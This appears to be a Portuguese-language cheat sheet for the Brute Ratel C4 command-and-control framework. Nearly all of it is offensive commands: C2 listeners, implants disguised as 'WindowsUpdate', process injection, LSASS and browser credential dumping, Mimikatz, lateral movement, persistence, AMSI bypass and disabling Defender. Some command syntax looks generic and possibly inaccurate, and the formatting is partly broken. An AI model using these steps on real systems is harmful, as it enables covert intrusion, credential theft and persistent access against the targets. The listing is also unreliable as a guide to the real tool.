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Folha de Referência do Framework Brute Ratel C4

Visão Geral

Brute Ratel C4 (BRc4) é um framework comercial personalizado de Comando e Controle (C2) projetado para operações de red team e simulações de adversários. Ele fornece recursos avançados de evasão, recursos sofisticados de pós-exploração e segurança operacional de nível profissional.

⚠️ Aviso: Esta é uma ferramenta comercial que requer uma licença válida. Esta ferramenta destina-se apenas a testes de penetração autorizados e exercícios de red team. Certifique-se de ter autorização adequada antes de usar em qualquer ambiente.

Instalação

Ativação de Licença

# Activate license (requires valid license key)
./brc4 --activate <license-key>

# Verify license status
./brc4 --license-info

# Update license
./brc4 --update-license

Configuração do Servidor

# Start BRc4 server
./brc4 --server

# Start with custom configuration
./brc4 --server --config /path/to/config.json

# Start with specific interface
./brc4 --server --interface 0.0.0.0 --port 443

Conexão do Cliente

# Connect to server
./brc4 --client --server 192.168.1.100:443

# Connect with authentication
./brc4 --client --server 192.168.1.100:443 --auth-token <token>

Referência de Comandos

Gerenciamento de Servidor

ComandoDescrição
helpExibir menu de ajuda
versionMostrar informações da versão
listenersListar listeners ativos
badgersLista de badgers conectados (agentes)
operatorsLista de operadores conectados
exitSair do servidor BRc4

Gerenciamento de Listener

ComandoDescrição
listener httpCriar listener HTTP
listener httpsCriar listener HTTPS
listener dnsCriar listener de DNS
listener tcpCriar ouvinte TCP
listener smbCriar listener SMB
listener stop <id>Parar listener

Gerenciamento de Badger (Agente)

ComandoDescrição
badger <id>Interagir com badger
badger kill <id>Matar texugo
badger sleep <time>Definir intervalo de sono
badger jitter <percentage>Definir porcentagem de jitter
badger proxy <proxy>Definir proxy para badger

Configuração de Listener

Listeners HTTP/HTTPS

# Create HTTPS listener
listener https
set host 0.0.0.0
set port 443
set cert /path/to/cert.pem
set key /path/to/key.pem
set malleable /path/to/profile.profile
start

# Create HTTP listener with domain fronting
listener http
set host 0.0.0.0
set port 80
set front-domain cdn.example.com
set host-header legitimate-site.com
start

Listener DNS

# Create DNS listener
listener dns
set domain example.com
set nameserver ns1.example.com
set port 53
start

Listener SMB

# Create SMB listener
listener smb
set pipename msagent_pipe
set host 0.0.0.0
set port 445
start

Listener TCP

# Create TCP listener
listener tcp
set host 0.0.0.0
set port 4444
set bind true
start

Geração de Badger

Badgers Windows

# Generate Windows executable
generate windows exe
set listener https-443
set arch x64
set format exe
set output windows_badger.exe
generate

# Generate Windows DLL
generate windows dll
set listener https-443
set arch x64
set format dll
set output windows_badger.dll
generate

# Generate Windows service
generate windows service
set listener https-443
set arch x64
set service-name "WindowsUpdate"
set output windows_service.exe
generate

Badgers Linux

# Generate Linux ELF
generate linux elf
set listener https-443
set arch x64
set format elf
set output linux_badger
generate

# Generate Linux shared library
generate linux so
set listener https-443
set arch x64
set format so
set output linux_badger.so
generate

Badgers macOS

# Generate macOS binary
generate macos macho
set listener https-443
set arch x64
set format macho
set output macos_badger
generate

# Generate macOS application
generate macos app
set listener https-443
set arch x64
set app-name "Updater"
set output macos_app.app
generate

Comandos de Pós-Exploração

Informações do Sistema

# Get system information
sysinfo

# Get current user
whoami

# Get privileges
getprivs

# Get environment variables
env

# Get network interfaces
ifconfig

Operações de Arquivo

# List directory
ls /path/to/directory

# Change directory
cd /path/to/directory

# Download file
download /remote/path/file.txt

# Upload file
upload /local/path/file.txt /remote/path/

# Execute file
execute /path/to/executable

# Delete file
rm /path/to/file

Gerenciamento de Processos

# List processes
ps

# Kill process
kill <pid>

# Migrate to process
migrate <pid>

# Inject into process
inject <pid> <payload>

# Create process
spawn <executable>

Operações de Rede

# Network connections
netstat

# ARP table
arp

# Routing table
route

# Port scan
portscan 192.168.1.0/24 80,443,3389

# Ping sweep
ping 192.168.1.0/24

Recursos Avançados

Perfis C2 Maleáveis

# Load malleable profile
set malleable /path/to/profile.profile

# Custom HTTP profile
http-get \\\\{
    set uri "/api/v1/status";
    client \\\\{
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
        header "Accept" "application/json";
    \\\\}
    server \\\\{
        header "Content-Type" "application/json";
        output \\\\{
            print;
        \\\\}
    \\\\}
\\\\}

Técnicas de Injeção de Processo

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Classic DLL injection

inject-dll /path/to/dll.dll

Process hollowing

hollow

Reflective DLL loading

reflective-dll /path/to/dll.dll

Manual DLL mapping

map-dll /path/to/dll.dll

Thread hijacking

hijack-thread 


### Credential Harvesting
```bash
# Dump LSASS
lsass-dump

# Mimikatz integration
mimikatz sekurlsa::logonpasswords

# SAM dump
sam-dump

# LSA secrets
lsa-secrets

# Cached credentials
cache-dump

# Browser credentials
browser-creds

Lateral Movement

# WMI execution
wmi-exec 192.168.1.10 "whoami"

# PSExec
psexec 192.168.1.10 "whoami"

# SMB execution
smb-exec 192.168.1.10 "whoami"

# DCOM execution
dcom-exec 192.168.1.10 "whoami"

# WinRM execution
winrm-exec 192.168.1.10 "whoami"

Persistence Mechanisms

# Registry persistence
persist-registry HKCU "Software\Microsoft\Windows\CurrentVersion\Run" "Update" "C:\temp\badger.exe"

# Scheduled task
persist-task "WindowsUpdate" "C:\temp\badger.exe" daily

# Service persistence
persist-service "UpdateService" "C:\temp\badger.exe"

# WMI persistence
persist-wmi "ProcessStart" "C:\temp\badger.exe"

# Startup folder
persist-startup "C:\temp\badger.exe"

Evasion Techniques

Anti-Analysis

# VM detection
vm-detect

# Sandbox evasion
sandbox-evasion

# Debugger detection
debugger-detect

# Sleep evasion
sleep-evasion 300

# User interaction check
user-interaction

AMSI/ETW Bypass

# AMSI bypass
amsi-bypass

# ETW bypass
etw-bypass

# Disable Windows Defender
disable-defender

# Unhook DLLs
unhook-dlls

# Patch AMSI
patch-amsi

Traffic Obfuscation

# Domain fronting
set front-domain cdn.cloudflare.com
set host-header legitimate-site.com

# Custom User-Agent
set user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# Custom headers
set headers "X-Forwarded-For: 192.168.1.100"

# Proxy chains
set proxy-chain "http://proxy1:8080,socks5://proxy2:1080"

Payload Obfuscation

# Encrypt payload
encrypt-payload aes256 <key>

# Obfuscate strings
obfuscate-strings

# Pack executable
pack-exe upx

# Sign executable
sign-exe /path/to/cert.pfx

# Polymorphic generation
polymorphic-gen

Operational Security

Communication Security

# Use encrypted channels
set encryption aes256

# Certificate pinning
set cert-pinning true

# Custom TLS configuration
set tls-version 1.3
set cipher-suite ECDHE-RSA-AES256-GCM-SHA384

# Jitter configuration
set jitter 20
set jitter-type random

Infrastructure Management

# Redirector setup
set redirector nginx
set upstream-server 192.168.1.100:443

# Load balancing
set load-balancer round-robin
set backend-servers "192.168.1.100,192.168.1.101"

# Failover configuration
set failover-servers "backup1.com,backup2.com"

Logging and Monitoring

# Enable detailed logging
set log-level debug
set log-file /var/log/brc4.log

# Operator tracking
set operator-logging true

# Command auditing
set command-audit true

# Session recording
set session-recording true

Team Operations

Multi-Operator Support

# Add operator
operator add username password

# Set operator permissions
operator permissions username read,write,execute

# Operator sessions
operator sessions

# Kick operator
operator kick username

Collaboration Features

# Share badger session
share-session <badger-id> <operator>

# Session notes
note-add "Important finding"
note-list
note-delete <note-id>

# Team chat
chat "Message to team"
chat-history

Troubleshooting

Connection Issues

# Test listener
test-listener <listener-id>

# Check connectivity
test-connectivity <target>

# Verify certificates
verify-cert /path/to/cert.pem

# Debug mode
set debug true

Badger Issues

# Badger health check
health-check <badger-id>

# Reset badger
reset-badger <badger-id>

# Badger diagnostics
diagnostics <badger-id>

# Force reconnect
reconnect <badger-id>

Performance Optimization

# Optimize sleep intervals
set sleep-optimization true

# Bandwidth throttling
set bandwidth-limit 1024

# Connection pooling
set connection-pooling true

# Compression
set compression gzip

Configuration

Server Configuration

\\\\{
  "server": \\\\{
    "host": "0.0.0.0",
    "port": 443,
    "ssl": true,
    "cert": "/path/to/cert.pem",
    "key": "/path/to/key.pem"
  \\\\},
  "database": \\\\{
    "type": "sqlite",
    "path": "/opt/brc4/database.db"
  \\\\},
  "logging": \\\\{
    "level": "info",
    "file": "/var/log/brc4.log"
  \\\\}
\\\\}

Malleable Profile

# Custom malleable profile
set sample_name "Custom Profile";
set sleeptime "30000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";

http-get \\\\{
    set uri "/api/status";
    client \\\\{
        header "Accept" "application/json";
        header "Accept-Language" "en-US,en;q=0.9";
    \\\\}
    server \\\\{
        header "Content-Type" "application/json";
        output \\\\{
            print;
        \\\\}
    \\\\}
\\\\}

Resources

Este guia de referência fornece uma referência abrangente para o uso do Brute Ratel C4. Esta é uma ferramenta comercial que requer licenciamento adequado. Sempre certifique-se de ter autorização adequada antes de usar esta ferramenta em qualquer ambiente.